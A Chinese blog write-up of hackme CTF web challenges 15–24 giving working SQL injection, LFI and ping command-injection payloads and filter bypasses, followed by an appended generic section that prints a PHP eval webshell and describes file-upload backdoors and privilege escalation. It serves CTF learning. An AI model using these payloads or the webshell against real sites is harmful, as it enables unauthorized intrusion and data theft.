hackme web题 15 - 24

hackme web题 15 - 24

15 hide and seek

点开的网址的源代码205行

16 guestbook

这题太卡了太卡了

点开message list的链接可以得到具体的信息
在这里插入图片描述

数字型注入
在这里插入图片描述

id=148 order by 4正常

id=148 order by 5错误,表有四列

后三列都会显示
在这里插入图片描述

-1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3,4得到当前数据库中表名,有flag,posts,users

-1 union select 1,(select group_concat(column_name) from information_schema.columns where table_name="flag"),3,4得到列名id,flag,padding0,padding1

-1 union select 1,(select flag from flag),3,4显示错误,需要一个一个输出

-1 union select 1,(select flag from flag limit 1,1),3,4flag(第一条信息那个gif好鬼畜

17 LFI

Tips: LFI, php://filter

登陆页面提示
在这里插入图片描述

php://filter/read=convert.base64-encode/resource=查看源码的base64编码

pages/flag下:
在这里插入图片描述

访问config.php得到(直接访问page答案也一样

18 homepage

源码217行的cute.js

一堆颜表情,可以用浏览器控制台解码,得到二维码
在这里插入图片描述

扫描得到flag

19 Ping

黑名单
在这里插入图片描述

可以用反引号`ls -l`
在这里插入图片描述

有flag.php,但是cat在黑名单

sort:将文件排序输出

`sort ???`

得到flag

20 scoreboard

提示不需要浏览

在响应头
在这里插入图片描述

21 Login as Admin 0

可以查看源码

 <?php
require('config.php');

// table schema
// user -> id, user, password, is_admin

if($_GET['show_source'] === '1') {
    highlight_file(__FILE__);
    exit;
}

function safe_filter($str)
{
    $strl = strtolower($str);
    if (strstr($strl, 'or 1=1') || strstr($strl, 'drop') ||
        strstr($strl, 'update') || strstr($strl, 'delete')
    ) {
        return '';
    }
    return str_replace("'", "\\'", $str);
}

$_POST = array_map(safe_filter, $_POST);

$user = null;

// connect to database

if(!empty($_POST['name']) && !empty($_POST['password'])) {
    $connection_string = sprintf('mysql:host=%s;dbname=%s;charset=utf8mb4', DB_HOST, DB_NAME);
    $db = new PDO($connection_string, DB_USER, DB_PASS);
    $sql = sprintf("SELECT * FROM `user` WHERE `user` = '%s' AND `password` = '%s'",
        $_POST['name'],
        $_POST['password']
    );
    try {
        $query = $db->query($sql);
        if($query) {
            $user = $query->fetchObject();
        } else {
            $user = false;
        }
    } catch(Exception $e) {
        $user = false;
    }
}
?>

闭合为’,

or 1=1、 drop、update、delete被过滤,' ->\\'

or->||'->\'

1\' || 1=1#可以进入,提示不是admin,是guest

"SELECT * FROM `user` WHERE `user` = '1\' || 1=1"

是得到整个user表,但是只有整张表的第一个会被验证

试第二个

admin\' || 1=1 limit 1,1#

admin登陆成功,得到flag

22 Login as Admin 0.1

跟0一样的代码,0的最后提示了 flag2 in the database! ,应该要注入数据库

order by 好像不能用

直接试union select

1\' union select 1,2,3,4#成功登陆并且回显2

1\' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3,4#得到当前数据库中表名,有一个h1dden_f14g

1\' union select 1,(select group_concat(column_name) from information_schema.columns where table_name="h1dden_f14g"),3,4#得到列名the_f14g

1\' union select 1,(select the_f14g from h1dden_f14g),3,4#得到flag

23 Login as Admin 1

function safe_filter($str)
{
    $strl = strtolower($str);
    if (strstr($strl, ' ') || strstr($strl, '1=1') || strstr($strl, "''") ||
        strstr($strl, 'union select') || strstr($strl, 'select ')
    ) {
        return '';
    }
    return str_replace("'", "\\'", $str);
}

空格、1=1、"被过滤,' ->\\'

1\'/**/or/**/1#能登陆,但是没flag,用户名直接显示了输入,应该和21一样是guest

1\'/**/or/**/1/**/limit/**/1,1#得到flag

24 Login as Admin 1.2

同样提示了提示了 flag2 in the database!

用户名直接是post的值

bool盲注。之后弄

### 关于 HackMe 靶机通关攻略 #### 利用 Web 应用程序中的 SQL 注入漏洞获取数据库信息 SQL注入是一种常见的Web应用程序安全漏洞,允许攻击者执行任意SQL查询。对于`hackme2`靶场而言,在存在SQL注入的地方可以尝试使用特定的payload来枚举表名[^4]。 ```sql -1' union select group_concat(table_name),2,3 from information_schema.tables where table_schema='webapphacking' # ``` 此语句将返回名为 `webapphacking` 的数据库下的所有表格名称列表,这有助于进一步了解应用结构并发现潜在的目标数据存储位置。 #### 发现并利用文件上传功能实现远程代码执行 某些情况下,Web应用程序可能提供文件上传的功能。如果这种机制缺乏足够的验证措施,则可能会被用来上载恶意脚本文件(如PHP木马)。一旦成功上传了一句话木马到服务器端,就可以通过向其发送命令请求来进行后续操作[^5]。 ```php <?php phpinfo(); eval($_POST['cmd']); ?> ``` 这段简单的PHP代码片段定义了一个后门接口,它会响应来自客户端提交的数据包中携带的指令参数(`cmd`),从而实现了远程控制的能力。为了定位已上传的一句话木马的确切路径,通常还需要借助目录遍历技术找到对应的URL地址[^3]。 #### 权限提升至超级用户级别 当获得了初步的访问权限之后,下一步便是寻找能够帮助提权的信息或配置错误之处。例如,可以通过查找管理员账户凭证或者其他敏感资源来完成这一过程。最终目的是以更高的特权状态运行命令,进而完全掌控整个系统环境[^1]。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值